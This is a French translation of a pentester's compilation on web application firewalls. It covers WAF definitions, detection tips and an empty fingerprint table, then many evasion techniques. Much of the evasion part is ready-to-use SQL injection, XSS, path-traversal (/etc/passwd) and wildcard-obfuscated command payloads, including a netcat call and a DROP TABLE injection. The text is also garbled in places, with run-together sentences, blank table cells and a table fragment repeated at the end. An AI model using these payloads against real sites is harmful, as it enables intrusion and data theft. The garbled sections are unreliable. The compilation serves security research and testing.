
Tout sur les pare-feu d'applications Web (WAF) d'un point de vue sécurité ! 🔥
Tout sur les pare-feu applicatifs (WAFs) d'un point de vue sécurité. 🔥
Préface : Ceci était à l'origine ma collection personnelle sur les WAFs. Je la rends open-source dans l'espoir qu'elle sera utile aux pentesters et aux chercheurs. Comme le dit le proverbe, "la communauté apprend les uns des autres".

Une définition concise : Un pare-feu est un point d'application de la politique de sécurité placé entre une application web et le point de terminaison client. Cette fonctionnalité peut être implémentée sous forme logicielle ou matérielle, fonctionnant sur un appareil dédié, ou sur un serveur classique utilisant un système d'exploitation standard. Il peut s'agir d'un appareil autonome ou intégré à d'autres composants réseau. (Source : PCI DSS IS 6.6)
Un pare-feu applicatif web se situe entre un utilisateur et une application web et a pour tâche d'empêcher toute activité malveillante d'atteindre l'application. Un WAF filtre la partie malveillante de la requête ou la bloque simplement.
N'hésitez pas à contribuer.
<script>*</script> empêche les attaques XSS de base.80, 443, 8000, 8080 et 8888. Cependant, il est important de noter qu'un WAF peut être facilement déployé sur n'importe quel port hébergeant un service HTTP. Il est bon d'énumérer d'abord les ports de service HTTP, puis de rechercher les WAF.Server (par exemple, Approach, WTS WAF).Pour identifier les WAF, il faut (simuler de) provoquer.
" or 1 = 1 --.<script>alert()</script> dans les barres de recherche, les formulaires de contact et autres champs de saisie.../../../etc/passwd factice à un paramètre aléatoire à la fin de l'URL.' OR SLEEP(5) OR ' à la fin des URL sur n'importe quel paramètre aléatoire.HTTP/0.9 (HTTP/0.9 ne prend pas en charge les requêtes de type POST).Server selon différents types d'interactions.Astuce : Cette méthode peut être facilement réalisée avec des outils comme HPing3 ou Scapy.
Vous voulez identifier les WAF ? Voyons comment.
NOTE : Cette section contient des techniques manuelles de détection des WAF. Vous voudrez peut-être passer à la section suivante.
## Techniques d'évasion Examinons quelques méthodes pour contourner et éviter les WAF.
Astuce : Plus de détails peuvent être trouvés dans un article de blog ici.
| WAF | Empreintes |
| 360 |
|
| aeSecure |
|
| Airlock |
|
| AlertLogic |
|
| Aliyundun |
|
| Anquanbao |
|
| Anyu |
|
| Approach |
|
| Armor Defense |
|
| ArvanCloud |
|
| ASPA |
|
| ASP.NET Generic |
|
| Astra |
|
| AWS ELB |
|
| Baidu Yunjiasu |
|
| Barikode |
|
| Barracuda |
|
| Bekchy |
|
| BinarySec |
|
| BitNinja |
|
| BIG-IP ASM |
|
| BlockDos |
|
| Bluedon IST |
|
| BulletProof Security Pro |
|
| CDN NS Application Gateway |
|
| Cerber (WordPress) |
|
| Chaitin Safeline |
|
| ChinaCache |
|
| Cisco ACE XML Gateway |
|
| Cloudbric |
|
| Cloudflare |
|
| CloudfloorDNS |
|
| Cloudfront |
|
| Comodo cWatch |
|
| CrawlProtect |
|
| Deny-All |
|
| Distil Web Protection |
|
| DoSArrest Internet Security |
|
| DotDefender |
|
| DynamicWeb Injection Check |
|
| e3Learning Security |
|
| EdgeCast (Verizon) |
|
| Eisoo Cloud |
|
| Expression Engine |
|
| F5 ASM |
|
| FortiWeb |
|
| GoDaddy |
|
| GreyWizard |
|
| Huawei Cloud |
|
| HyperGuard |
|
| IBM DataPower |
|
| Imperva Incapsula |
|
| Imunify360 |
|
| IndusGuard |
|
| Instart DX |
|
| ISA Server |
|
| Janusec Application Gateway |
|
| Jiasule |
|
| KeyCDN |
|
| KnownSec |
|
| KONA Site Defender (Akamai) |
|
| LiteSpeed |
|
| Malcare |
|
| MissionControl Application Shield |
|
| ModSecurity |
|
| ModSecurity CRS |
|
| NAXSI |
|
| Nemesida |
|
| Netcontinuum |
|
| NetScaler AppFirewall |
|
| NevisProxy |
|
| NewDefend |
|
| Nexusguard |
|
| NinjaFirewall |
|
| NSFocus |
|
| NullDDoS |
|
| onMessage Shield |
|
| OpenResty Lua WAF |
|
| Palo Alto |
|
| PentaWAF |
|
| PerimeterX |
|
| pkSecurityModule IDS |
|
| Positive Technologies Application Firewall |
|
| PowerCDN |
|
| Profense |
|
| Proventia (IBM) |
|
| Puhui |
|
| Qiniu CDN |
|
| Radware Appwall |
|
| Reblaze |
|
| Request Validation Mode |
|
| RSFirewall |
|
| Sabre |
|
| Safe3 |
|
| SafeDog |
|
| SecKing |
|
| SecuPress |
|
| Secure Entry |
|
| SecureIIS |
|
| SecureSphere |
|
| SEnginx |
|
| ServerDefender VP |
|
| Shadow Daemon |
|
| ShieldSecurity |
|
| SiteGround |
|
| SiteGuard (JP Secure) |
|
| SiteLock TrueShield |
|
| SonicWall |
|
| Sophos UTM |
|
| SquareSpace |
|
| SquidProxy IDS |
|
| StackPath |
|
| Stingray |
|
| Sucuri CloudProxy |
|
| Synology Cloud |
|
| Tencent Cloud |
|
| Teros |
|
| TrafficShield |
|
| TransIP |
|
| UCloud UEWaf |
|
| URLMaster SecurityCheck |
|
| URLScan |
|
| USP Secure Entry |
|
| Varnish (OWASP) |
|
| Varnish CacheWall |
|
| Viettel |
|
| VirusDie |
|
| WallArm |
|
| WatchGuard IPS |
|
| WebARX Security |
|
| WebKnight |
|
| WebLand |
|
| WebRay |
|
| WebSEAL |
|
| WebTotem |
|
| West263CDN |
|
| Wordfence |
|
| WTS-WAF |
|
| XLabs Security WAF |
|
| Xuanwudun WAF |
|
| Yunaq Chuangyu |
|
| Yundun |
|
| Yunsuo |
|
| YxLink |
|
| ZenEdge |
|
| ZScaler |
|
Exécuter un ensemble de payloads contre l'URL/point de terminaison. Quelques bonnes wordlists de fuzzing :
Cas : Injection SQL
Mots-clés filtrés : and, or, union
Regex probable : preg_match('/(and|or|union)/i', $id)
union select user, password from users1 || (select user from users where user_id = 1) = 'admin'Mots-clés filtrés : and, or, union, where
1 || (select user from users where user_id = 1) = 'admin'1 || (select user from users limit 1) = 'admin'Mots-clés filtrés : and, or, union, where, limit
1 || (select user from users limit 1) = 'admin'1 || (select user from users group by user_id having user_id = 1) = 'admin'Mots-clés filtrés : and, or, union, where, limit, group by
1 || (select user from users group by user_id having user_id = 1) = 'admin'1 || (select substr(group_concat(user_id),1,1) user from users ) = 1Mots-clés filtrés : and, or, union, where, limit, group by, select
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 11 || 1 = 1 into outfile 'result.txt'1 || substr(user,1,1) = 'a'Mots-clés filtrés : and, or, union, where, limit, group by, select, '
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 11 || user_id is not null1 || substr(user,1,1) = 0x611 || substr(user,1,1) = unhex(61)Mots-clés filtrés : and, or, union, where, limit, group by, select, ', hex
1 || substr(user,1,1) = unhex(61)1 || substr(user,1,1) = lower(conv(11,10,36))Mots-clés filtrés : and, or, union, where, limit, group by, select, ', hex, substr
1 || substr(user,1,1) = lower(conv(11,10,36))1 || lpad(user,7,1)Mots-clés filtrés : and, or, union, where, limit, group by, select, ', hex, substr, white space
1 || lpad(user,7,1)1%0b||%0blpad(user,7,1)1. Bascule de casse
Standard : <script>alert()</script>
Contourné : <ScRipT>alert()</sCRipT>
Standard : SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Contourné : sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'
2. Encodage URL
Bloqué : <svG/x=">"/oNloaD=confirm()//
Contourné : %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
Bloqué : uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Contourné : uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29
3. Normalisation Unicode
Standard : <marquee onstart=prompt()>
Obscurci : <marquee onstart=\u0070r\u06f\u006dpt()>
Bloqué : /?redir=http://google.com
Contourné : /?redir=http://google。com (alternative Unicode)
Bloqué : <marquee loop=1 onfinish=alert()>x
Contourné : <marquee loop=1 onfinish=alert︵1)>x (alternative Unicode)
ASTUCE : Jetez un œil à ce rapport et celui-ci sur HackerOne. :)
Standard : ../../etc/passwd
Obscurci : %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd
4. Représentation HTML
Standard : ">
Encodé : "><img src=x onerror=confirm()> (forme générale)
Encodé : "><img src=x onerror=confirm()> (référence numérique)
5. Encodage mixte
Obscurci :``` XSS
__6. Utilisation des commentaires__
- Les commentaires obscurcissent les vecteurs de charge utile standard.
- Différentes charges utiles ont différentes méthodes d'obscurcissement.
__Bloqué__ : `<script>alert()</script>`
__Contourné__ : `<!--><script>alert/**/()/**/</script>`
__Bloqué__ : `/?id=1+union+select+1,2,3--`
__Contourné__ : `/?id=1+un/**/ion+sel/**/ect+1,2,3--`
__7. Double encodage__
- Souvent, les filtres WAF ont tendance à encoder les caractères pour empêcher les attaques.
- Cependant, les filtres mal développés (pas de filtres récursifs) peuvent être contournés par un double encodage.
__Standard__ : `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\`
__Obscurci__ : `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\`
__Standard__ : `<script>alert()</script>`
__Obscurci__ : `%253Cscript%253Ealert()%253C%252Fscript%253E`
__8. Obscurcissement par caractères génériques__
- Les motifs de globbing sont utilisés par divers utilitaires en ligne de commande pour travailler avec plusieurs fichiers.
- Nous pouvons les modifier pour exécuter des commandes système.
- Spécifique aux vulnérabilités d'exécution de code à distance sur les systèmes Linux.
__Standard__ : `/bin/cat /etc/passwd`
__Obscurci__ : `/???/??t /???/??ss??`
Caractères utilisés : `/ ? t s`
__Standard__ : `/bin/nc 127.0.0.1 1337`
__Obscurci__ : `/???/n? 2130706433 1337`
Caractères utilisés : `/ ? n [0-9]`
__9. Génération dynamique de charges utiles__
- Différents langages de programmation ont des syntaxes et des motifs de concaténation différents.
- Cela nous permet de générer efficacement des charges utiles qui peuvent contourner de nombreux filtres et règles.
__Standard__ : `<script>alert()</script>`
__Obscurci__ : `<script>eval('al'+'er'+'t()')</script>`
__Standard__ : `/bin/cat /etc/passwd`
__Obscurci__ : `/bi'n'''/c''at' /e'tc'/pa''ss'wd`
> Bash permet la concaténation de chemins pour l'exécution.
__Standard__ : ``
__Obscurci__:```
13. Briseurs de jetons (Token Breakers)
Les attaques sur les tokenizers tentent de briser la logique de découpage d'une requête en tokens à l'aide de briseurs de jetons.
Les briseurs de jetons sont des symboles qui permettent d'affecter la correspondance entre un élément d'une chaîne et un certain token, et ainsi de contourner la recherche par signature.
Cependant, la requête doit toujours rester valide lors de l'utilisation de briseurs de jetons.
Cas : Token inconnu pour le tokenizer
?id=‘-sqlite_version() UNION SELECT password FROM users --Cas : Contexte inconnu pour l'analyseur syntaxique (remarquez la parenthèse non contextualisée)
?id=123);DROP TABLE users --?id=1337) INTO OUTFILE ‘xxx’ --ASTUCE : Plus de payloads peuvent être créés via cette antisèche.
14. Obfuscation dans d'autres formats
Cas : IIS
Requête originale :``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41
id2='union all select * from users--
Requête obfusquée + Encodage URL :```
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115
%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
Le tableau suivant montre la prise en charge de différents codages de caractères sur les systèmes testés (lorsque les messages peuvent être obscurcis en les utilisant) :
ASTUCE : Vous pouvez utiliser ce petit script python pour convertir vos charges utiles et paramètres vers les codages souhaités.
| Cible | Codages | Notes |
| Nginx, uWSGI-Django-Python3 | IBM037, IBM500, cp875, IBM1026, IBM273 |
|
| Nginx, uWSGI-Django-Python2 | IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 |
|
| Apache-TOMCAT8-JVM1.8-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
|
| Apache-TOMCAT7-JVM1.6-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
|
| IIS6, 7.5, 8, 10 -ASPX (v4.x) | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025 |
Voici une comparaison de différents serveurs et de leurs interprétations respectives :
| Environnement | Interprétation des paramètres | Exemple |
| ASP/IIS | Concaténation par virgule | par1=val1,val2 |
| JSP, Servlet/Apache Tomcat | Le premier paramètre est retenu | par1=val1 |
| ASP.NET/IIS | Concaténation par virgule | par1=val1,val2 |
| PHP/Zeus | Le dernier paramètre est retenu | par1=val2 |
| PHP/Apache | Le dernier paramètre est retenu | par1=val2 |
| JSP, Servlet/Jetty | Le premier paramètre est retenu | par1=val1 |
| IBM Lotus Domino | Le premier paramètre est retenu | par1=val1 |
| IBM HTTP Server | Le dernier paramètre est retenu | par1=val2 |
| mod_perl, libapeq2/Apache | Le premier paramètre est retenu | par1=val1 |
| Oracle Application Server 10G | Le premier paramètre est retenu | par1=val1 |
| Perl CGI/Apache | Le premier paramètre est retenu | par1=val1 |
| Python/Zope | Le premier paramètre est retenu | par1=val1 |
| IceWarp | Un tableau est retourné | ['val1','val2'] |
| AXIS 2400 | Le dernier paramètre est retenu | par1=val2 |
| DBMan | Concaténation par deux tildes | par1=val1~~val2 |
| mod-wsgi (Python)/Apache |
Exemple de charge utile : 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
Exemple d'URL de requête : http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS
ASTUCE : Un exemple concret de contournements pouvant être réalisés avec cette méthode est disponible ici.
Exemple de requête :
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 Accept-Charset:utf-32; q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
Lorsque le site se charge, il sera encodé dans le codage UTF-32 que nous avons défini, et comme l'encodage de sortie de la page est UTF-8, il sera rendu sous la forme : "<script>alert (1) </script>" ce qui déclenchera une XSS.
Charge utile encodée URL finale :``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
#### Null Bytes:
- Les null bytes sont couramment utilisés comme terminaison de chaîne.
- Cela peut nous aider à contourner de nombreux filtres d'applications web s'ils ne filtrent pas les null bytes.
Exemples de payloads :```
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
Standard: <a href="javascript:alert()">
Obfusqué: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variante: <a 0x00 href="javascript:alert(1)">clickme</a>
%, //, !, ?, etc.Exemples :
<// style=x:expression\28write(1)\29> - Fonctionne jusqu'à IE7 (Source)<!--[if]><script>alert(1)</script --> - Fonctionne jusqu'à IE9 (Référence)<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Fonctionne dans IE7 (Référence)<%div%20style=xss:expression(prompt(1))> - Fonctionne jusqu'à IE70x00 à 0xFF et obtenir l'ensemble des séparateurs pour chaque navigateur.Voici une liste compilée de séparateurs par @Masato Kinugawa :
0x09, 0x0B, 0x0C, 0x20, 0x3B0x09, 0x20, 0x28, 0x2C, 0x3B0x2C, 0x3B0x09, 0x20, 0x28, 0x2C, 0x3B0x09, 0x20, 0x2C, 0x3B0x09, 0x20, 0x28, 0x2C, 0x3BUn exemple de payload exotique :``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d
### Utilisation de structures syntaxiques équivalentes atypiques
- Cette méthode vise à trouver un moyen d'exploitation non pris en compte par les développeurs du WAF.
- Certains cas d'utilisation peuvent être modifiés jusqu'à des niveaux critiques où le WAF ne peut plus du tout détecter les charges utiles.
- Cette charge utile est acceptée et exécutée par le serveur après être passée par le pare-feu.
Quelques mots-clés courants négligés par les développeurs de WAF :
- Fonctions JavaScript :
- `window`
- `parent`
- `this`
- `self`
- Attributs de balise :
- `onwheel`
- `ontoggle`
- `onfilterchange`
- `onbeforescriptexecute`
- `ondragstart`
- `onauxclick`
- `onpointerover`
- `srcdoc`
- Opérateurs SQL
- `lpad`
- `field`
- `bit_count`
Exemples de charges utiles :
- __Cas :__ XSS```
<script>window['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/0)</script>
<script>parent['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/1)</script>
<script>self['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/2)</script>
Cas: SQLi``` SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 1%0b||%0bLPAD(USER,7,1)
De nombreuses alternatives au JavaScript original peuvent être utilisées, à savoir :
- [JSFuck](http://www.jsfuck.com/)
- [JJEncode](http://utf-8.jp/public/jjencode.html)
- [XChars.JS](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html)
> Cependant, le problème de l'utilisation des structures syntaxiques ci-dessus est la longueur des charges utiles qui pourraient éventuellement être détectées par le WAF ou bloquées par le CSP. Cependant, on ne sait jamais, elles pourraient aussi contourner le CSP (s'il est présent). ;)
### Abus des chiffrements SSL/TLS :
- Souvent, les serveurs acceptent les connexions provenant de divers chiffrements et versions SSL/TLS.
- Utiliser un chiffrement pour initialiser une connexion à un serveur qui n'est pas pris en charge par le WAF peut faire notre travail.
#### Technique :
- Découvrir les chiffrements pris en charge par le pare-feu (généralement, la documentation du fournisseur du WAF en parle).
- Trouver les chiffrements pris en charge par le serveur (des outils comme [SSLScan](https://github.com/rbsec/sslscan) aident ici).
---
[Read more](https://github.com/0xinfection/awesome-waf)
|
| Un tableau est retourné |
| ARRAY(0x8b9058c) |